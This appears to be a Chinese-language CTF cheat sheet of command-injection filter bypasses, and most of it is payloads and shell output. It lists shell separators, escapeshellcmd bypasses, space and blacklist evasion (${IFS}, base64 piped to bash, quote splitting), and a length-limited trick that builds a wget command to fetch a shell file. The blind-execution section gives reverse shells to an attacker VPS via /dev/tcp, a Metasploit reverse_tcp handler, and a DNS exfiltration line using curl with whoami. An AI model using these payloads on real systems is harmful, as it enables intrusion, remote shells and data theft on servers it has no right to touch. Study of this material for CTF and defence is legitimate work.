详情可看如下两篇
浅谈CTF中命令执行与绕过的小技巧
命令执行的一些绕过技巧

0x01命令分隔符

  1. %0a符号 换行符
  2. %0d符号 回车符
  3. ;符号 在 shell 中,担任”连续指令”功能的符号就是”分号”
  4. &符号 & 放在启动参数后面表示设置此进程为后台进程,默认情况下,进程是前台进程,这时就把Shell给占据了,我们无法进行其他操作,对于那些没有交互的进程,很多时候,我们希望将其在后台启动,可以在启动参数的时候加一个’&’实现这个目的。进程切换到后台的时候,我们把它称为job。切换到后台时会输出相关job信息
  5. |符号 管道符左边命令的输出就会作为管道符右边命令的输入,所以左边的输出并不显示
  6. && 表示前一条命令执行成功时,才执行后一条命令
  7. || 表示上一条命令执行失败后,才执行下一条命令
  8. 命令终止符 %00%20#

0x02 绕过escapeshellcmd

escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。反斜线(\)会在以下字符之前插入: &#;|*?~<>^()[]{}$, \x0A 和 \xFF。 ‘ 和 “ 仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。

escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。对于

法一:win下执行bat

1
2
3
4
5
6
7
<?php
$command = 'dir '.$_POST['dir'];
$escaped_command = escapeshellcmd($command);
var_dump($escaped_command);
file_put_contents('out.bat',$escaped_command);
system('out.bat');
?>

执行.bat文件的时候,利用%1a,可以绕过过滤执行命令。
payload:

1
dir=../ %1a whoami

法二:宽字节注入

php5.2.5及之前可以通过输入多字节来绕过。现在几乎见不到了。

1
escapeshellcmd("echo ".chr(0xc0).";id");

之后该语句会变成

1
echo 繺;id

从而实现 id 命令的注入。

0x03 空格过滤

法一: ${IFS}

$IFS在linux下表示分隔符,然而我本地实验却会发生这种情况,这里解释一下,单纯的cat$IFS2,bash解释器会把整个IFS2当做变量名,所以导致输不出来结果,然而如果加一个{}就固定了变量名,同理在后面加个$可以起到截断的作用,但是为什么要用$9呢,因为$9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串。

payload1:

1
2
3
4
ubuntu@VM-207-93-ubuntu:~$ cat flag
nice day
ubuntu@VM-207-93-ubuntu:~$ cat${IFS}flag
nice day

payload2:

1
2
ubuntu@VM-207-93-ubuntu:~$ cat${IFS}$9flag
nice day

payload3:

1
2
ubuntu@VM-207-93-ubuntu:~$ cat$IFS$9flag
nice day

法二: 重定向符<>

payload1:

1
2
ubuntu@VM-207-93-ubuntu:~$ cat<>flag
nice day

payload2:

1
2
ubuntu@VM-207-93-ubuntu:~$ cat<flag
nice day

0x04 黑名单绕过

法一: 拼接

1
2
ubuntu@VM-207-93-ubuntu:~$ a=c;b=at;c=flag;$a$b $c
nice day

法二: 利用已存在的资源

从已有的文件或者环境变量中获得相应的字符。

法三: base64编码

payload1:

1
2
ubuntu@VM-207-93-ubuntu:~$ `echo "Y2F0IGZsYWc="|base64 -d`
nice day

payload2:

1
2
ubuntu@VM-207-93-ubuntu:~$ echo "Y2F0IGZsYWc="|base64 -d|bash
nice day

法四: 单引号、双引号

payload1:

1
2
ubuntu@VM-207-93-ubuntu:~$ c""at flag
nice day

payload2:

1
2
ubuntu@VM-207-93-ubuntu:~$ c""at fl""ag
nice day

payload3:

1
2
ubuntu@VM-207-93-ubuntu:~$ c""at fl''ag
nice day

法五:反斜线 \

payload:

1
2
ubuntu@VM-207-93-ubuntu:~$ c\at fl\ag
nice day

0x05 无回显

第一种是利用bash命令并在本地进行nc监听结果查看回连日志
先在vps处用nc进行监听

1
nc -l -p 8080 -vvv

然后在靶机命令执行处输入

1
|bash -i >& /dev/tcp/xxxxxI(你的vps的公网ip)/8080 0>&1

第二种是msf反向回连

同样vps用msf监听

vps的msf监听:

1
2
3
4
5
6
use exploit/multi/handler
set payload linux/armle/shell/reverse_tcp
set lport 8080
set lhost xxx.xxx.xxx.xxx
set exitonsession false
exploit -j

然后在靶机命令执行处输入

1
|bash -i >& /dev/tcp/xxxxxI(你的vps的公网ip)/8080 0>&1

第三种是利用DNS管道解析

1
|curl `whoami`.xxxx.xxx(子域名)

`反引号在linux下是执行命令的特殊符号

0x05 长度限制

1
2
3
4
5
<?php
if(strlen($_GET[test])<8){
echo shell_exec($_GET[test]);
}
?>

0x6长度限制

文件构造

1
2
3
4
5
<?php
if(strlen($_GET[test])<8){
echo shell_exec($_GET[test]);
}
?>

payload:

1
2
3
4
5
6
7
8
9
1>wget\
1>域名.\
1>com\
1>-O\
1>she\
1>ll.p\
1>p
ls>a
sh a

将会创建一个名字为wget的空文件。payload1会报错,payload2不会报错。.
这里注意.不能作为文件名的开头,因为linux下.是隐藏文件的开头,ls列不出来

然而这里还有个问题,就是ls下的文件名是按照字母顺序排序的,所以需要基于时间排序

1
ls -t>a

0x07 LINUX下一些已有字符

  • ${PS2} 对应字符 ‘>’
  • ${PS4} 对应字符 ‘+’
  • ${IFS} 对应 内部字段分隔符
  • ${9} 对应 空字符串

0x08 工具

例题

GCTF RCE
这题过滤了很多东西,下面说一下比较重要的

1
||&|;|%{}| |''|.|

这里给个payload

1
2
3
%0acat%09
%0Acat$IFS$9
%0acat<

参考文章:
浅谈CTF中命令执行与绕过的小技巧
命令执行的一些绕过技巧